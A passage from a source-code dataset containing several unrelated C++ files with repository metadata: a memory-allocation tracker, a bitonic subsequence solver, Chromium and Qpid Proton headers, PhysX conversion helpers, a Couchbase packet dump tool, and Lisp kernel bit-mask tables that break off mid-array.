g_MemTrackerDisabledOnThisThread( 0 ); // Defines #define ALLOCATION_MINIMUM_ALIGN ( 0x4 ) // assume at least 4 byte alignment #define ALLOCATION_HASH_SHIFT ( 0x2 ) // shift off lower bits #define ALLOCATION_HASH_SIZE ( 0x100000 ) // one megabyte #define ALLOCATION_HASH_MASK ( 0x0FFFFF ) // mask off upper bits // Alloc //------------------------------------------------------------------------------ /*static*/ void MemTracker::Alloc( void * ptr, size_t size, const char * file, int line ) { if ( !s_Enabled ) { return; } // handle allocations during initialization if ( g_MemTrackerDisabledOnThisThread ) { return; } ++g_MemTrackerDisabledOnThisThread; if ( !s_Initialized ) { Init(); } const size_t hashIndex = ( ( (size_t)ptr >> ALLOCATION_HASH_SHIFT ) & ALLOCATION_HASH_MASK ); { MutexHolder mh( GetMutex() ); Allocation * a = (Allocation *)s_Allocations->Alloc( sizeof( Allocation ) ); ++s_AllocationCount; a->m_Id = ++s_Id; a->m_Ptr = ptr; a->m_Size = size; a->m_Next = s_AllocationHashTable[ hashIndex ]; a->m_File = file; a->m_Line = line; static size_t breakOnSize = (size_t)-1; static uint32_t breakOnId = 0; if ( ( size == breakOnSize ) || ( a->m_Id == breakOnId ) ) { BREAK_IN_DEBUGGER; } s_AllocationHashTable[ hashIndex ] = a; } --g_MemTrackerDisabledOnThisThread; } // Free //------------------------------------------------------------------------------ /*static*/ void MemTracker::Free( void * ptr ) { if ( !s_Enabled ) { return; } if ( !s_Initialized ) { return; } if ( g_MemTrackerDisabledOnThisThread ) { return; } const size_t hashIndex = ( ( (size_t)ptr >> ALLOCATION_HASH_SHIFT ) & ALLOCATION_HASH_MASK ); MutexHolder mh( GetMutex() ); Allocation * a = s_AllocationHashTable[ hashIndex ]; Allocation * prev = nullptr; while ( a ) { if ( a->m_Ptr == ptr ) { if ( prev == nullptr ) { s_AllocationHashTable[ hashIndex ] = a->m_Next; } else { prev->m_Next = a->m_Next; } ++g_MemTrackerDisabledOnThisThread; s_Allocations->Free( a ); --s_AllocationCount; --g_MemTrackerDisabledOnThisThread; break; } prev = a; a = a->m_Next; } } // DumpAllocations //------------------------------------------------------------------------------ /*static*/ void MemTracker::DumpAllocations() { if ( s_Enabled == false ) { OUTPUT( "DumpAllocations failed - MemTracker not enabled\n" ); return; } if ( s_Initialized == false ) { OUTPUT( "DumpAllocations : No allocations\n" ); return; } MutexHolder mh( GetMutex() ); if ( s_AllocationCount == 0 ) { OUTPUT( "DumpAllocations : No allocations\n" ); return; } uint64_t total = 0; uint64_t numAllocs = 0; // for each leak, we'll print a view of the memory unsigned char displayChar[256]; memset( displayChar, '.', sizeof( displayChar ) ); const unsigned char * okChars = (const unsigned char *)"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~`1234567890-=!@#$^&*()_+[]{};:'\",<>/?|\\"; const unsigned char * ok = okChars; for ( ;; ) { unsigned char c = *ok; if ( c == 0 ) break; displayChar[ c ] = c; ++ok; } char memView[ 32 ] = { 0 }; OUTPUT( "--- DumpAllocations ------------------------------------------------\n" ); for ( size_t i=0; i<ALLOCATION_HASH_SIZE; ++i ) { Allocation * a = s_AllocationHashTable[ i ]; while ( a ) { uint32_t id = a->m_Id; uint64_t addr = (size_t)a->m_Ptr; uint64_t size = a->m_Size; // format a view of the memory contents const char * src = (const char *)addr; char * dst = memView; const size_t num = Math::Min< size_t >( (size_t)size, 31 ); for ( uint32_t j=0; j<num; ++j ) { unsigned char c = *src; *dst = displayChar[ c ]; ++src; ++dst; } *dst = 0; OUTPUT( "%s(%u): Id %u : %u bytes @ 0x%016llx (Mem: %s)\n", a->m_File, a->m_Line, id, size, addr, memView ); ++numAllocs; total += size; a = a->m_Next; } } OUTPUT( "--------------------------------------------------------------------\n" ); OUTPUT( "Total: %llu bytes in %llu allocs\n", total, numAllocs ); OUTPUT( "--------------------------------------------------------------------\n" ); } // Reset //------------------------------------------------------------------------------ /*static*/ void MemTracker::Reset() { MutexHolder mh( GetMutex() ); ++g_MemTrackerDisabledOnThisThread; // free all allocation tracking for ( size_t i=0; i<ALLOCATION_HASH_SIZE; ++i ) { Allocation * a = s_AllocationHashTable[ i ]; while ( a ) { s_Allocations->Free( a ); --s_AllocationCount; a = a->m_Next; } s_AllocationHashTable[ i ] = nullptr; } ASSERT( s_AllocationCount == 0 ); s_Id = 0; --g_MemTrackerDisabledOnThisThread; } // Init //------------------------------------------------------------------------------ /*static*/ void MemTracker::Init() { CTASSERT( sizeof( MemTracker::s_Mutex ) == sizeof( Mutex ) ); ASSERT( g_MemTrackerDisabledOnThisThread ); // first caller does init static uint32_t threadSafeGuard( 0 ); if ( AtomicIncU32( &threadSafeGuard ) != 1 ) { // subsequent callers wait for init while ( !s_Initialized ) {} return; } // construct primary mutex in-place INPLACE_NEW ( &GetMutex() ) Mutex; // init hash table s_AllocationHashTable = new Allocation*[ ALLOCATION_HASH_SIZE ]; memset( s_AllocationHashTable, 0, ALLOCATION_HASH_SIZE * sizeof( Allocation * ) ); // init pool for allocation structures s_Allocations = new MemPoolBlock( sizeof( Allocation ), __alignof( Allocation ) ); MemoryBarrier(); s_Initialized = true; } //------------------------------------------------------------------------------ #endif // MEMTRACKER_ENABLED //------------------------------------------------------------------------------

95f7befcf665c6bd7d6cf9cdcc561666e56f2e88

cf88c1e3d9587f2bdc8cf40397bca3f0b5f11e7c

/Arrays/Array_Rearrangement/MaxLengthBitonicSubsequence.cpp

fb2e5de210006b85afeb4f3b2d78fe1f36e1b413

no_license

shaival141/Practice_Old

f6193b4ae2365548d70c047180de429f9a9fdc1d

f02d55faf1c0a861093bf0e094747c64bdd81b34

refs/heads/master

UTF-8

C++

cpp

/* Dynamic Programming implementation of longest bitonic subsequence problem */ #include<stdio.h> #include<stdlib.h> /* lbs() returns the length of the Longest Bitonic Subsequence in arr[] of size n. The function mainly creates two temporary arrays lis[] and lds[] and returns the maximum lis[i] + lds[i] - 1. lis[i] ==> Longest Increasing subsequence ending with arr[i] lds[i] ==> Longest decreasing subsequence starting with arr[i] */ int lbs( int arr[], int n ) { int i,j; int lis[n]; int lds[n]; for(i=0;i<n;i++) lis[i]=1; for(i=0;i<n;i++) lds[i]=1; for(i=1;i<n;i++) { for(j=0;j<i;j++) { if(arr[j]<arr[i] && lis[i]<lis[j]+1) lis[i]=lis[j]+1; } } for(i=n-1;i>=0;i--) { for(j=n-1;j>i;j--) { if(arr[j]<arr[i] && lds[i]<lds[j]+1) lds[i]=lds[j]+1; } } int max=0; for(i=0;i<n;i++) { if(lis[i]+lds[i]-1>max) { max =lis[i] + lds[i] - 1; } } return max; } /* Driver program to test above function */ int main() { int arr[] = {0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15}; int n = sizeof(arr)/sizeof(arr[0]); printf("Length of LBS is %d\n", lbs( arr, n ) ); return 0; }

3839e99ec45940f1c94baf2131e7849a8871b51c

4f37081ed62e44afa0b2465388a8adf9b5490b13

/ash/login/ui/login_user_view.h

4d27549c5a7f8e8dda6fd0bc769f65efd3439630

permissive

zowhair/chromium

05b9eed58a680941c3595d52c3c77b620ef2c3ac

d84d5ef83e401ec210fcb14a92803bf339e1ccce

refs/heads/master

UTF-8

C++

h

// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef ASH_LOGIN_UI_LOGIN_USER_VIEW_H_ #define ASH_LOGIN_UI_LOGIN_USER_VIEW_H_ #include "ash/ash_export.h" #include "ash/login/ui/login_display_style.h" #include "ash/public/interfaces/login_user_info.mojom.h" #include "base/macros.h" #include "ui/views/controls/button/button.h" #include "ui/views/view.h" namespace ash { class HoverNotifier; class LoginBubble; class LoginButton; // Display the user's profile icon, name, and a menu icon in various layout // styles. class ASH_EXPORT LoginUserView : public views::View, public views::ButtonListener { public: // TestApi is used for tests to get internal implementation details. class ASH_EXPORT TestApi { public: explicit TestApi(LoginUserView* view); ~TestApi(); LoginDisplayStyle display_style() const; const base::string16& displayed_name() const; views::View* user_label() const; views::View* tap_button() const; bool is_opaque() const; private: LoginUserView* const view_; }; using OnTap = base::RepeatingClosure; // Returns the width of this view for the given display style. static int WidthForLayoutStyle(LoginDisplayStyle style); LoginUserView(LoginDisplayStyle style, bool show_dropdown, bool show_domain, const OnTap& on_tap); ~LoginUserView() override; // Update the user view to display the given user information. void UpdateForUser(const mojom::LoginUserInfoPtr& user, bool animate); // Set if the view must be opaque. void SetForceOpaque(bool force_opaque); // Enables or disables tapping the view. void SetTapEnabled(bool enabled); const mojom::LoginUserInfoPtr& current_user() const { return current_user_; } // views::View: const char* GetClassName() const override; gfx::Size CalculatePreferredSize() const override; void Layout() override; // views::ButtonListener: void ButtonPressed(views::Button* sender, const ui::Event& event) override; private: class UserDomainInfoView; class UserImage; class UserLabel; class TapButton; // Called when hover state changes. void OnHover(bool has_hover); // Updates UI element values so they reflect the data in |current_user_|. void UpdateCurrentUserState(); // Updates view opacity based on input state and |force_opaque_|. void UpdateOpacity(); void SetLargeLayout(); void SetSmallishLayout(); // Executed when the user view is pressed. OnTap on_tap_; // The user that is currently being displayed (or will be displayed when an // animation completes). mojom::LoginUserInfoPtr current_user_; // Used to dispatch opacity update events. std::unique_ptr<HoverNotifier> hover_notifier_; LoginDisplayStyle display_style_; UserImage* user_image_ = nullptr; UserLabel* user_label_ = nullptr; LoginButton* user_dropdown_ = nullptr; TapButton* tap_button_ = nullptr; std::unique_ptr<LoginBubble> user_menu_; // Show the domain information for public account user. UserDomainInfoView* user_domain_ = nullptr; // True iff the view is currently opaque (ie, opacity = 1). bool is_opaque_ = false; // True if the view must be opaque (ie, opacity = 1) regardless of input // state. bool force_opaque_ = false; DISALLOW_COPY_AND_ASSIGN(LoginUserView); }; } // namespace ash #endif // ASH_LOGIN_UI_LOGIN_USER_VIEW_H_

694381b4055f06ae7dad5f6a5f7b6abd76cc1bb2

4ca2b9af703d0a9066fdbf7ac45fd7c5f25a72ea

/proton-c/bindings/cpp/include/proton/codec/decoder.hpp

3dc6d570d2c4b11fdffda5c5c32b4e67cdd0ed71

permissive

gberginc/qpid-proton

23847cc2a6b7014f021baff27089ea727bfa28e0

9eaca615c5f5aa97d89d1b87471d81bff7237df0

refs/heads/master

UTF-8

C++

hpp

#ifndef PROTON_CODEC_DECODER_HPP #define PROTON_CODEC_DECODER_HPP /* * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * */ #include "../internal/data.hpp" #include "../internal/type_traits.hpp" #include "../types_fwd.hpp" #include "./common.hpp" #include <proton/type_compat.h> #include <utility> namespace proton { class annotation_key; class message_id; class scalar; class value; namespace internal { class value_base; } namespace codec { /// **Experimental** - Stream-like decoder from AMQP bytes to C++ /// values. /// /// For internal use only. /// /// @see @ref types_page for the recommended ways to manage AMQP data class decoder : public internal::data { public: /// Wrap a Proton C data object. The exact flag if set means /// decode only when there is an exact match between the AMQP and /// C++ type. If not set then perform automatic conversions. explicit decoder(const data& d, bool exact=false) : data(d), exact_(exact) {} /// Attach decoder to a proton::value. The decoder is rewound to /// the start of the data. PN_CPP_EXTERN explicit decoder(const internal::value_base&, bool exact=false); /// Decode AMQP data from a buffer and add it to the end of the /// decoders stream. PN_CPP_EXTERN void decode(const char* buffer, size_t size); /// Decode AMQP data from a std::string and add it to the end of /// the decoders stream. PN_CPP_EXTERN void decode(const std::string&); /// Return true if there are more value to extract at the current level. PN_CPP_EXTERN bool more(); /// Get the type of the next value that will be read by /// operator>>. /// /// @throw conversion_error if no more values. @see /// decoder::more(). PN_CPP_EXTERN type_id next_type(); /// @name Extract built-in types /// /// @throw conversion_error if the decoder is empty or has an /// incompatible type. /// /// @{ PN_CPP_EXTERN decoder& operator>>(bool&); PN_CPP_EXTERN decoder& operator>>(uint8_t&); PN_CPP_EXTERN decoder& operator>>(int8_t&); PN_CPP_EXTERN decoder& operator>>(uint16_t&); PN_CPP_EXTERN decoder& operator>>(int16_t&); PN_CPP_EXTERN decoder& operator>>(uint32_t&); PN_CPP_EXTERN decoder& operator>>(int32_t&); PN_CPP_EXTERN decoder& operator>>(wchar_t&); PN_CPP_EXTERN decoder& operator>>(uint64_t&); PN_CPP_EXTERN decoder& operator>>(int64_t&); PN_CPP_EXTERN decoder& operator>>(timestamp&); PN_CPP_EXTERN decoder& operator>>(float&); PN_CPP_EXTERN decoder& operator>>(double&); PN_CPP_EXTERN decoder& operator>>(decimal32&); PN_CPP_EXTERN decoder& operator>>(decimal64&); PN_CPP_EXTERN decoder& operator>>(decimal128&); PN_CPP_EXTERN decoder& operator>>(uuid&); PN_CPP_EXTERN decoder& operator>>(std::string&); PN_CPP_EXTERN decoder& operator>>(symbol&); PN_CPP_EXTERN decoder& operator>>(binary&); PN_CPP_EXTERN decoder& operator>>(message_id&); PN_CPP_EXTERN decoder& operator>>(annotation_key&); PN_CPP_EXTERN decoder& operator>>(scalar&); PN_CPP_EXTERN decoder& operator>>(internal::value_base&); PN_CPP_EXTERN decoder& operator>>(null&); ///@} /// Start decoding a container type, such as an ARRAY, LIST or /// MAP. This "enters" the container, more() will return false at /// the end of the container. Call finish() to "exit" the /// container and move on to the next value. PN_CPP_EXTERN decoder& operator>>(start&); /// Finish decoding a container type, and move on to the next /// value in the stream. PN_CPP_EXTERN decoder& operator>>(const finish&); /// @cond INTERNAL template <class T> struct sequence_ref { T& ref; sequence_ref(T& r) : ref(r) {} }; template <class T> struct associative_ref { T& ref; associative_ref(T& r) : ref(r) {} }; template <class T> struct pair_sequence_ref { T& ref; pair_sequence_ref(T& r) : ref(r) {} }; template <class T> static sequence_ref<T> sequence(T& x) { return sequence_ref<T>(x); } template <class T> static associative_ref<T> associative(T& x) { return associative_ref<T>(x); } template <class T> static pair_sequence_ref<T> pair_sequence(T& x) { return pair_sequence_ref<T>(x); } /// @endcond /// Extract any AMQP sequence (ARRAY, LIST or MAP) to a C++ /// sequence container of T if the elements types are convertible /// to T. A MAP is extracted as `[key1, value1, key2, value2...]`. template <class T> decoder& operator>>(sequence_ref<T> r) { start s; *this >> s; if (s.is_described) next(); r.ref.resize(s.size); for (typename T::iterator i = r.ref.begin(); i != r.ref.end(); ++i) *this >> *i; return *this; } /// Extract an AMQP MAP to a C++ associative container template <class T> decoder& operator>>(associative_ref<T> r) { using namespace internal; start s; *this >> s; assert_type_equal(MAP, s.type); r.ref.clear(); for (size_t i = 0; i < s.size/2; ++i) { typename remove_const<typename T::key_type>::type k; typename remove_const<typename T::mapped_type>::type v; *this >> k >> v; r.ref[k] = v; } return *this; } /// Extract an AMQP MAP to a C++ push_back sequence of pairs /// preserving encoded order. template <class T> decoder& operator>>(pair_sequence_ref<T> r) { using namespace internal; start s; *this >> s; assert_type_equal(MAP, s.type); r.ref.clear(); for (size_t i = 0; i < s.size/2; ++i) { typedef typename T::value_type value_type; typename remove_const<typename value_type::first_type>::type k; typename remove_const<typename value_type::second_type>::type v; *this >> k >> v; r.ref.push_back(value_type(k, v)); } return *this; } private: type_id pre_get(); template <class T, class U> decoder& extract(T& x, U (*get)(pn_data_t*)); bool exact_; friend class message; }; /// @cond INTERNAL /// XXX Document this template<class T> T get(decoder& d) { assert_type_equal(internal::type_id_of<T>::value, d.next_type()); T x; d >> x; return x; } /// @endcond /// operator>> for integer types that are not covered by the standard /// overrides. template <class T> typename internal::enable_if<internal::is_unknown_integer<T>::value, decoder&>::type operator>>(decoder& d, T& i) { using namespace internal; typename integer_type<sizeof(T), is_signed<T>::value>::type v; d >> v; // Extract as a known integer type i = v; // C++ conversion to the target type. return d; } } // codec } // proton #endif // PROTON_CODEC_DECODER_HPP

594e71c07f5c14b0e47d84c3887fb2634517984c

7a5a713cc999fdc1f64457949b003980e288567a

/Classes/ExplodeSmoke.h

a878d13147d91a026074988ee4903c9dfe3be564

no_license

highfence/ShootingGameProject

2b564d09ea02ae64fb65d85b59ecb6e0d170ec53

61e57136d52e8b1d980eec304dd474774f239f94

refs/heads/master

C++

UTF-8

C++

h

#pragma once #include "Effect.h" class ExplodeSmoke : public Effect { public : ExplodeSmoke() = delete; ExplodeSmoke(const _In_ Vec); ExplodeSmoke( const _In_ Vec, const _In_ FLOAT, const _In_ Vec); ~ExplodeSmoke(); private : void init(); void LoadInitialImg() override; void InitialDataSubstitude() override; };

e1120ecc3bd0b1626b5a3a1c8eca3d090e2a14a8

8f961bc022f5ce587d854b7458909c3e0f1ef4bb

/framework/amorphous/Physics/Engines/PhysX/NxMathConv.hpp

b163b85dda141f7d07dd3f1265268ddae0095f82

no_license

takashikumagai/amorphous

73f0bd8c5f5d947a71bbad696ce728f25c456aae

8e5f5ec9368757a639ed4cf7aeb02a4b201e6b42

refs/heads/master

UTF-8

C++

hpp

#ifndef __NxMathConv_H__ #define __NxMathConv_H__ #include "3DMath/Matrix34.hpp" #include "3DMath/AABB3.hpp" #include "NxPhysics.h" namespace amorphous { namespace physics { // PhysX to Framework conversions inline Vector3 ToVector3( const NxVec3& src ) { return Vector3( src.x, src.y, src.z ); } inline Matrix33 ToMatrix33( const NxMat33& src ) { return Matrix33( ToVector3( src.getColumn(0) ), ToVector3( src.getColumn(1) ), ToVector3( src.getColumn(2) ) ); } inline Matrix34 ToMatrix34( const NxMat34& src ) { return Matrix34( ToVector3(src.t), ToMatrix33(src.M) ); } inline AABB3 ToAABB3( const NxBounds3& src ) { return AABB3( ToVector3(src.min), ToVector3(src.max) ); } // Framework to PhysX conversions inline NxVec3 ToNxVec3( const Vector3& src ) { return NxVec3( src.x, src.y, src.z ); } inline NxMat33 ToNxMat33( const Matrix33& src ) { NxMat33 dest; dest.setColumn( 0, ToNxVec3(src.GetColumn(0)) ); dest.setColumn( 1, ToNxVec3(src.GetColumn(1)) ); dest.setColumn( 2, ToNxVec3(src.GetColumn(2)) ); return dest; } inline NxMat34 ToNxMat34( const Matrix34& src ) { NxMat34 dest; dest.t = ToNxVec3( src.vPosition ); dest.M = ToNxMat33( src.matOrient ); return dest; } inline NxBounds3 ToNxBounds3( const AABB3& src ) { NxBounds3 dest; dest.set( ToNxVec3(src.vMin), ToNxVec3(src.vMax) ); return dest; } } // namespace physics } // namespace amorphous #endif /* __NxMathConv_H__ */

ca83a558bcc72c5055c6fbf661b26acbaf1aeb08

6701a2c3fb95baba0da5754b88d23f79a2b10f7f

/protocol/mcbp/libmcbp/mcbp_packet_printer.cc

6329b15ffaeaf2a08d698518c5c195e5ef3a5e8b

no_license

teligent-ru/kv_engine

80630b4271d72df9c47b505a586f2e8275895d3e

4a1b741ee22ae3e7a46e21a423451c58186a2374

refs/heads/master

UTF-8

C++

cc

/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright 2017 Couchbase, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <getopt.h> #include <mcbp/mcbp.h> #include <platform/dirutils.h> #include <platform/memorymap.h> #include <platform/sized_buffer.h> #include <algorithm> #include <iostream> enum class Format { Raw, Gdb, Lldb }; Format parseFormat(std::string format) { std::transform(format.begin(), format.end(), format.begin(), toupper); if (format == "RAW") { return Format::Raw; } if (format == "GDB") { return Format::Gdb; } if (format == "LLDB") { return Format::Lldb; } throw std::invalid_argument("Unknown format: " + format); } int main(int argc, char** argv) { Format format{Format::Raw}; static struct option longopts[] = { {"format", required_argument, nullptr, 'f'}, {nullptr, 0, nullptr, 0}}; int cmd; while ((cmd = getopt_long(argc, argv, "f:", longopts, nullptr)) != -1) { switch (cmd) { case 'f': try { format = parseFormat(optarg); } catch (const std::invalid_argument& e) { std::cerr << e.what() << std::endl; return EXIT_FAILURE; } break; default: std::cerr << "Usage: " << cb::io::basename(argv[0]) << " [options] file1-n" << std::endl << std::endl << "\t--format=raw|gdb|lldb\tThe format for the input file" << std::endl << std::endl << "For gdb the expected output would be produced by " "executing: " << std::endl << std::endl << "(gdb) x /24xb c->rcurr" << std::endl << "0x7f43387d7e7a: 0x81 0x0d 0x00 0x00 0x00 0x00 0x00 0x00" << std::endl << "0x7f43387d7e82: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00" << std::endl << "0x7f43387d7e8a: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00" << std::endl << std::endl << "For lldb the expected output would be generated by " "executing: " << std::endl << std::endl << "(lldb) x -c 32 c->rbuf" << std::endl << "0x7f43387d7e7a: 81 0d 00 01 04 00 00 00 00 00 00 06 00 " "00 00 06 ................" << std::endl << "0x7f43387d7e7a: 14 bf f4 26 8a e0 00 00 00 00 00 00 61 " "61 81 0a ................" << std::endl << std::endl; return EXIT_FAILURE; } } if (optind == argc) { std::cerr << "No file specified" << std::endl; return EXIT_FAILURE; } while (optind < argc) { try { cb::byte_buffer buf; std::vector<uint8_t> data; cb::MemoryMappedFile map(argv[optind], cb::MemoryMappedFile::Mode::RDONLY); map.open(); buf = {static_cast<uint8_t*>(map.getRoot()), map.getSize()}; switch (format) { case Format::Raw: break; case Format::Gdb: data = cb::mcbp::gdb::parseDump(buf); buf = {data.data(), data.size()}; break; case Format::Lldb: data = cb::mcbp::lldb::parseDump(buf); buf = {data.data(), data.size()}; break; } cb::mcbp::dumpStream(buf, std::cout); } catch (const std::exception& error) { std::cerr << error.what() << std::endl; return EXIT_FAILURE; } ++optind; } return EXIT_SUCCESS; }

160beafcd0375ee1abc289f6df9dc822b8749eb5

4b0a3fffa69840fac4fa77ba40f3aed8ae51442c

/FinalProject/workingfolder/Erin's Updates/bouncingcube/BouncingCube.h

a06731fe152c89b5848227598c4d455e34849b77

no_license

hoffm386/graphics-final-project

732633bf55482051730e0087c025ab1d6e5253e7

584a16eda13572d6a92bad690da6b4a903eef084

refs/heads/master

UTF-8

C++

h

// BouncingCube.h : main header file for the BouncingCube application // #pragma once #ifndef __AFXWIN_H__ #error "include 'stdafx.h' before including this file for PCH" #endif #include "resource.h" // main symbols // CBouncingCubeApp: // See BouncingCube.cpp for the implementation of this class // class CBouncingCubeApp : public CWinAppEx { public: CBouncingCubeApp(); // Overrides public: virtual BOOL InitInstance(); virtual int ExitInstance(); // Implementation public: UINT m_nAppLook; BOOL m_bHiColorIcons; virtual void PreLoadState(); virtual void LoadCustomState(); virtual void SaveCustomState(); afx_msg void OnAppAbout(); DECLARE_MESSAGE_MAP() }; extern CBouncingCubeApp theApp;

8ab716daca33856e610a208732527f0dd9de4e8e

70d18762f2443bb5df8df38967bcd38277573cdb

/arch/generic/kernel/gen_ke_arch64.cpp

1f2b16ecf52f14ac9a8389e3bec0a1176360b3fd

no_license

15831944/evita-common-lisp

f829defc5386cd1988754c59f2056f0367c77ed7

cb2cbd3cc541878d25dcedb4abd88cf8e2c881d9

refs/heads/master

UTF-8

C++

cpp

////////////////////////////////////////////////////////////////////////////// // // evcl - kernel - arch 64 // kernel/ke_arch64.cpp // // This file is part of Evita Common Lisp. // // Copyright (C) 1996-2006 by Project Vogue. // Written by Yoshifumi "VOGUE" INOUE. (yosi@msn.com) // // @(#)$Id: //proj/evcl3/mainline/arch/generic/kernel/gen_ke_arch64.cpp#3 $ // #if SIZEOF_VAL == 8 #include "../../../kernel/ke_arch.h" namespace Kernel { const uint64 Kernel::Arch64::k_rgfBit[64] = { 1ull << 0, 1ull << 1, 1ull << 2, 1ull << 3, 1ull << 4, 1ull << 5, 1ull << 6, 1ull << 7, 1ull << 8, 1ull << 9, 1ull << 10, 1ull << 11, 1ull << 12, 1ull << 13, 1ull << 14, 1ull << 15, 1ull << 16, 1ull << 17, 1ull << 18, 1ull << 19, 1ull << 20, 1ull << 21, 1ull << 22, 1ull << 23, 1ull << 24, 1ull << 25, 1ull << 26, 1ull << 27, 1ull << 28, 1ull << 29, 1ull << 30, 1ull << 31, 1ull << 32, 1ull << 33, 1ull << 34, 1ull << 35, 1ull << 36, 1ull << 37, 1ull << 38, 1ull << 39, 1ull << 40, 1ull << 41, 1ull << 42, 1ull << 43, 1ull << 44, 1ull << 45, 1ull << 46, 1ull << 47, 1ull << 48, 1ull << 49, 1ull << 50, 1ull << 51, 1ull << 52, 1ull << 53, 1ull << 54, 1ull << 55, 1ull << 56, 1ull << 57, 1ull << 58, 1ull << 59, 1ull << 60, 1ull << 61, 1ull << 62, 1ull << 63 }; // Kernel::Arch64::k_rgfBit ////////////////////////////////////////////////////////////////////// // // Mask For Bit Stream Leader and Trailer // // Bit Stream: // LLLL LLLL xxxx xxxx ... xxxx xxxx TTTT TTTT // // x = bits for processing // L = leader bits (not affect) // T = trailer bits (not affect) // // Note: Bit stream is stored in each 32bit word from LSB to MSB. // // // (loop for i below 64 do (format t "0x~16,'0Xull, // ~D~%" (1- (ash 1 i)) i)) const Arch64::BitEltT Arch64::k_rgnLeaderMask[64] = { 0x0000000000000000ull, // 0 0x0000000000000001ull, // 1 0x0000000000000003ull, // 2 0x0000000000000007ull, // 3 0x000000000000000Full, // 4 0x000000000000001Full, // 5 0x000000000000003Full, // 6 0x000000000000007Full, // 7 0x00000000000000FFull, // 8 0x00000000000001FFull, // 9 0x00000000000003FFull, // 10 0x00000000000007FFull, // 11 0x0000000000000FFFull, // 12 0x0000000000001FFFull, // 13 0x0000000000003FFFull, // 14 0x0000000000007FFFull, // 15 0x000000000000FFFFull, // 16 0x000000000001FFFFull, // 17 0x000000000003FFFFull, // 18 0x000000000007FFFFull, // 19 0x00000000000FFFFFull, // 20 0x00000000001FFFFFull, // 21 0x00000000003FFFFFull, // 22 0x00000000007FFFFFull, // 23 0x0000000000FFFFFFull, // 24 0x0000000001FFFFFFull, // 25 0x0000000003FFFFFFull, // 26 0x0000000007FFFFFFull, // 27 0x000000000FFFFFFFull, // 28 0x000000001FFFFFFFull, // 29 0x000000003FFFFFFFull, // 30 0x000000007FFFFFFFull, // 31 0x00000000FFFFFFFFull, // 32 0x00000001FFFFFFFFull, // 33 0x00000003FFFFFFFFull, // 34 0x00000007FFFFFFFFull, // 35 0x0000000FFFFFFFFFull, // 36 0x0000001FFFFFFFFFull, // 37 0x0000003FFFFFFFFFull, // 38 0x0000007FFFFFFFFFull, // 39 0x000000FFFFFFFFFFull, // 40 0x000001FFFFFFFFFFull, // 41 0x000003FFFFFFFFFFull, // 42 0x000007FFFFFFFFFFull, // 43 0x00000FFFFFFFFFFFull, // 44 0x00001FFFFFFFFFFFull, // 45 0x00003FFFFFFFFFFFull, // 46 0x00007FFFFFFFFFFFull, // 47 0x0000FFFFFFFFFFFFull, // 48 0x0001FFFFFFFFFFFFull, // 49 0x0003FFFFFFFFFFFFull, // 50 0x0007FFFFFFFFFFFFull, // 51 0x000FFFFFFFFFFFFFull, // 52 0x001FFFFFFFFFFFFFull, // 53 0x003FFFFFFFFFFFFFull, // 54 0x007FFFFFFFFFFFFFull, // 55 0x00FFFFFFFFFFFFFFull, // 56 0x01FFFFFFFFFFFFFFull, // 57 0x03FFFFFFFFFFFFFFull, // 58 0x07FFFFFFFFFFFFFFull, // 59 0x0FFFFFFFFFFFFFFFull, // 60 0x1FFFFFFFFFFFFFFFull, // 61 0x3FFFFFFFFFFFFFFFull, // 62 0x7FFFFFFFFFFFFFFFull, // 63 }; // k_rgnLeaderMask // (loop with x = (1- (ash 1 64)) for i below 64 for m = (1- (ash 1 i)) // do (format t " 0x~16,'0Xull, // ~D~%" (- x m) i) ) const Arch64::BitEltT Arch64::k_rgnTrailerMask[64] = { 0xFFFFFFFFFFFFFFFFull, // 0 0xFFFFFFFFFFFFFFFEull, // 1 0xFFFFFFFFFFFFFFFCull, // 2 0xFFFFFFFFFFFFFFF8ull, // 3 0xFFFFFFFFFFFFFFF0ull, // 4 0xFFFFFFFFFFFFFFE0ull, // 5 0xFFFFFFFFFFFFFFC0ull, // 6 0xFFFFFFFFFFFFFF80ull, // 7 0xFFFFFFFFFFFFFF00ull, // 8 0xFFFFFFFFFFFFFE00ull, // 9 0xFFFFFFFFFFFFFC00ull, // 10 0xFFFFFFFFFFFFF800ull, // 11 0xFFFFFFFFFFFFF000ull, // 12 0xFFFFFFFFFFFFE000ull, // 13 0xFFFFFFFFFFFFC000ull, // 14 0xFFFFFFFFFFFF8000ull, // 15 0xFFFFFFFFFFFF0000ull, // 16 0xFFFFFFFFFFFE0000ull, // 17 0xFFFFFFFFFFFC0000ull, // 18 0xFFFFFFFFFFF80000ull, // 19 0xFFFFFFFFFFF00000ull, // 20 0xFFFFFFFFFFE00000ull, // 21 0xFFFFFFFFFFC00000ull, // 22 0xFFFFFFFFFF800000ull, // 23 0xFFFFFFFFFF000000ull, // 24 0xFFFFFFFFFE000000ull, // 25 0xFFFFFFFFFC000000ull, // 26 0xFFFFFFFFF8000000ull, // 27 0xFFFFFFFFF0000000ull, // 28 0xFFFFFFFFE0000000ull, // 29 0xFFFFFFFFC0000000ull, // 30 0xFFFFFFFF80000000ull, // 31 0xFFFFFFFF00000000ull, // 32 0xFFFFFFFE00000000ull, // 33 0xFFFFFFFC00000000ull, // 34 0xFFFFFFF800000000ull, // 35 0xFFFFFFF000000000ull, // 36 0xFFFFFFE000000000ull, 